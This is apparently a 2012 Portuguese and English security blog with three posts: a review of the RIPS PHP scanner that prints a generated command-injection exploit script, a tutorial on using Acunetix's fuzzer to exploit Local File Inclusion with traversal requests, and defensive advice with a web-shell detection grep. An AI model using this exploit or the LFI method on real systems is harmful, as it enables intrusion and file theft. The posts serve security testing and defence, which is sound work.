domingo, 8 de janeiro de 2012

RIPS 0.51: Basic analysis


 Fiz alguns testes na ferramenta, ele se comportou bem,  inclusive com sistema de porte maior.
Analisei com aplicações entre 1 e 1200 arquivos, acima de 100 achei  performance um pouco degradada, testei em uma maquina core i5/6GB, o Rips faz o httpd consumir cerca de 25% de processamento.

São vários níveis de scaneamento e é possível  escolher a varredura  Server side e Client, além de ser possível procurar por falhas especificas


O que achei bem interessante, foi que ele mostra em tempo real qual arquivo esta sendo scaneado, a quantidade de arquivos scaneados/total, número da linha e uma estimativa de término. Esta estimativa não funciona muito bem, mas já ajuda.















O modo como a falha é exibida é bem intuitiva, com links e referências para  funções, além de sugerir as devidas correções.























O Exploit Creator funciona, porém, ele se perde em relação a utilização de sub-diretórios. Como podem ver na imagem, o campo url não é preenchido como deveria. A alteração pode ser feita nesta tela mesmo ou  no código fonte depois que o exploit é gerado.














Neste caso, é solicitado um valor para a variável "a", que seria o comando a ser executado, o exploit gerado ficaria, vamos dizer, "engessado",  mas como é php, as alterações para torna-lo funcional são simples.

Depois do Poc gerado,  pasta alterar o comando da var "a" por  $argv[2]  ou  caso vá usa-lo via web, $_GET['cmd']


Segue um exemplo:

<?php
#
# t.php curl exploit
#

//
// HTTP GET,
//

$target = $argv[1];

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, "http://$target/t.php?a=$argv[2]");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "DcLabs)");
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);

echo $buf;
?>

A linha de comand para execução seria assim:

php -q exploit.php localhost/teste/ <comando>

Ou caso o path tenha sido ajustado antes da criação do exploit:

php -q exploit.php localhost <comando>


Para utilização do exploit é necessário habilitar a extensão curl no php.ini

extension=php_bz2.dll
extension=php_curl.dll
;extension=php_dba.dll
extension=php_mbstring.dll
extension=php_exif.dll

Em sistemas com numero maior de arquivos a serem analisados é necessário alterar o parâmetro memory_limit  também  no php.ini.
Evidentemente que isso vai depender da quantidade de memória da máquina onde o rips está sendo executado.


Bom pessoal, foi uma analise bem superficial mesmo,  caso eu tenha novidades posto novamente.

terça-feira, 3 de janeiro de 2012

Acunetix LFI Pos Exploitation - Downloading Files Structure Part 1 (En-Us)


Hi folks!

In this article we will show a very interesting feature of Acunetix: the HTTP fuzzer. In addition to be used as a fuzzer  for web applications and the HTTP protocol itself, it can also be used to effectively exploit a common security flaw: Local File Include or LFI for short. If you are not familiar with this bug, a reference can be found at the end of this document.

Let's get it started: The feature can be located on the left side of Acunetix main screen, as shown below:



Understanding the fuzzer and setting the url:

We will not use the fuzzer as a scanner, the idea here is to use the fuzzer to extract as much information as possible from the target host.

On the Fuzzer's main screen is shown a typical HTTP request

GET http://hostname/path HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)
Accept: */*


We will use this space to set up our request in order to exploit the LFI, moreover, as the field is free to edit, we can add and/or change the headers. At this point you should already know the URL of LFI, as exemplified below:

GET http://lfi.dc/lfi.php?pag= HTTP/1.1
User-Agent: Mozilla/4.0 (DcLabs)
Accept: */*

Therefore, to explore the LFI the url http://lfi.dc/lfi.php?pag= should be used, where "pag" is the vulnerable variable. The value of User-Agent field was changed only to show that the headers can be changed/added without any problems.



Creating and configuring the Generators


As this is a fuzzer, of course it must generate strings, integers, repeated chars and other functions, but as stated above, we will not scan or fuzzer or anything, thus let's take a new role for the generators, we need first to create two generators, of course more complex attacks will require more generators.


Character generator File and repeater

As its name implies, the Character repeater will repeat a character or string as many times as we want. So let's fill in the fields for the creation, use intuitive names for each generator, when you have several, knowing what they do can be really tricky. The default name generated by Acunetix is Gen_N, where N is a sequential number.

Name: dotslash => Intuitive Name
Character / String: .././ => If you do not know why we are using the string "../../", I suggest you to read the LFI reference.
Initial count: = 1> Will start the process with the given string ../../
Final count: 2 => Maximum repetitions for the string ../../
Increment: 1 => string increment counter
Encoding: None

This generator was set to a classic LFI attack, so, the field Initial count must be configured according to the amount of "dotslashs" found to exploit the bug. No need to encode the string in this case, so the Encoding field is set to None. Use of base64encoding and URL is a good option to evade possible filters. The second generator (File Generator) will read information from a txt or xml file line by line, so we will use a list of filenames that probably exist in the server attacked.
A simple idea to create this list is to run this command on several linux  flavors with a lot of installed applications, such as Apache, mysql, wordpress, Cacti, Nagios, Oracle and others.

find / -type f > wordlist.txt

The wordlists then was appended and removed identical lines, additionally, the leading "/" was removed too because the string "../../" was used.

Completing the fields of this generator:

Name: filenames_wordlist => Intuitive Name
Fileaname: wordlist.txt => Wordlist name
Filetype: txt => Wordlist extension
Encoding: none => No need this time




After the generators were properly both, created and configured, you must add them to the HTTP request:

Position the cursor just after pay= select the generator dotslash and click Insert Into Request, repeat the process for filenames_wordlist.
The result should be something like this:

GET http://lfi.dc/lfi.php?pag=${dotslash}${filenames_wordlist} HTTP/1.1
User-Agent: Mozilla/4.0 (DcLabs)
Accept: */*

Before starting the operation, it is interesting to notice that the filters are designed to separate only relevant results of the attack. This can be created by Fuzzer Filters. Acunetix brings two filters by default, Include Internal Server Error and Invalid username / password combination, the second filter for LFI case is not necessary, just mark and delete it.

Creating and configuring filters:

Rule Description: Failed to open => intuitive name for the filter
Rule type: Exclusion => If the request matches the rule, it will be removed from the report

Apply to: Response => Where the rule will make the match, in which case it will look the string's size in any response sent by the server.
Regular Expression: failed to open stream => This field is populated with the string that will match with the response from the server and removed from the final report, I chose the string "failed to open stream" because it is a generic PHP error when a file is not found, have no access permission or any other reason why the file can not be read:

Permission error:Warning: include(../../../etc/shadow) [function.include]: failed to open stream: Permission denied in /var/www/t.php on line 6

Warning: include() [function.include]: Failed opening '../../../etc/shadow' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/t.php on line 6

File not found:Warning: include(../../../etc/dclabs) [function.include]: failed to open stream: No such file or directory in /var/www/t.php on line 6

Warning: include() [function.include]: Failed opening '../../../etc/dclabs' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/t.php on line 6

imagem4

Therefore, many possibilities will be filtered with a single rule, once done, click Add.
If you need to change the rule, select the desired rule and click update.


Remembering that this rule was made to handle a generic PHP error. Codes where the treatment is done by the programmer are likely to be found, your filter must be adjusted according to the error message returned by the application on this cases.

Ok, now just click on start and reap the files found on the target server.

There's other trick that I will show in the next post. I decided to split in two parts so that the article does not become tiring.

The HTTP Fuzzer is part of the free version of Acunetix.
I made also a video showing the tool running with a smaller wordlist: http://youtu.be/z357C_8H3Mc

The next step, in addition to Part 2, is to write a code that does this same job integrated with Metasploit.

LFI referencehttp://hakipedia.com/index.php/Local_File_Inclusion

Any questions #dclabs @ freenode
Twitter: @crashbrz
Thank's all for english revision
Cya folks!


domingo, 1 de janeiro de 2012

Como sobreviver aos ataques de "hacktivistas" e pichadores virtuais de plantão

Em 2011 as atividades hackers foram bastante divulgadas e passaram de mera brincadeira de jovens desocupados para ações "organizadas" com cunho político libertário. Os grupos que ganharam um rápido prestigio foram o Anonymous e LuLzSec, uma boa parte do marketing em cima das ações destes grupos ficou a cargo das redes sociais, pastebin e do youtube. A partir dai novas facções como AnonymousBR, iPiratesGroup, LuLzSecBR, GreyHatBR, AntiSecBR e alguns pichadores virtuais  foram surgindo em busca de seus 15 min de fama. Analisando os resultados divulgados não é dificil entender o porque de tanto sucesso. Identifiquei erros simples como senhas fracas no ambiente de administação do sites ( e.g. admin@dominio/manager ) e muito mas muito SQLi e Blind SQLi. Abaixo passo algumas dicas de como sobreviver após o comprometimento de sua infra-estrutura e como mitigar as falhas.




1 - Web Backdoors

 Os web shells[1] [2] permitem o acesso ao ambiente comprometido mesmo após corrigidas as falhas. Estudar o código destas ferramentas facilita sua detecção e remoção. Nestes casos um AV ajuda muito tanto no Ambiente Windows quanto no Linux, mas muito cuidado pois nem todos os AVs são capazes de detectar web backdoors bastantes conhecidos ( e.g Symantec ). Uma forma de validar a varredura é fazendo buscas manuais: No Linux

grep -RPl --include=*.{php,txt,asp} "(passthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile) *\(" /var/www/
No Windows Usando a ferramenta de busca procure pelas palavras acima.

 2 - Análise do alvo

 Após o incidente é muito importante entender quais foram as vulnerabilidades que permitiram a invasão. Ferramentas para análise de vulnerabilidades como o Nessus, Arachni, Uniscan, Acunetix são de fundamental importância, pois elas indicam as possíveis portas de entrada e facilitam a criação do plano de mitigação. Auditar o banco de dados é de extrema importância já que entradas indevidas podem ser adicionadas ( e.g contas fantasmas), e alguns lixos do ataque.



3 - Proteção extra e monitoramento
Aplicar uma camada a mais de segurança permite dificultar as tentativas de ataque não permitindo a varredura em busca de vulnerabilidades e portas abertas. Não deixe essa responsabilidade somente a cargo da ferramenta de proteção de borda ( e.g IPS ), por ela ser baseada em Pattern matching nem todos os ataques serão bloqueados e muito cuidado com os falsos positivos já que uma aplicação com falha no código fará com que o IPS entenda qualquer requisição como maliciosa, auditar todos os alertas muitas vezes sem bloqueá-los é o mais recomendado. O Ossec juntamente com o Splunk, Portsentry, Samhaim e o ModSecurity são ferramentas que auxiliam bastante nesta tarefa. Outro hábito pouco utilizado é a análise dos logs, uma simples busca por palavras como Nikto, Havij, perl, whitehat, Uniscan, acunetix, fuck, scanner, timthumb, pma, phpmyadmin nos logs do Apache e do IIS permitem identificar algumas tentativas de ataque.




4 - Atualização e restrição de acesso 
Manter o ambiente atualizado é uma boa prática pouco utilizada muito mais por medo principalmente quando o ambiente é de alta criticidade ( e.g SGBDs ). Nos ambientes Linux o cron-apt (Debian e derivados) e o Spacewalk (RedHat e derivados) ajudam muito, os sistemas Windows contam com o velho WSUS que geralmente fica esquecido sem a devida atenção. Restringir o acesso aos ambientes administrativos do site ( e.g wp-admin, admin, administration ) e o FTP evitando assim ataques de brute-force, outra boa prática é a utilização de senhas fortes, isto soa bastante clichê, porém após analisar algumas áreas administrativas encontrei senhas ridiculas de acesso. Conclusão Estas dicas apenas mostram o caminho a ser seguido. Experiência, bom senso e estudo continuo são fatores que diferenciam na resolução dos incidentes e na prevenção.


 Última dica: FERRAMENTAS FALHAM.


Post by: @alexandrosilva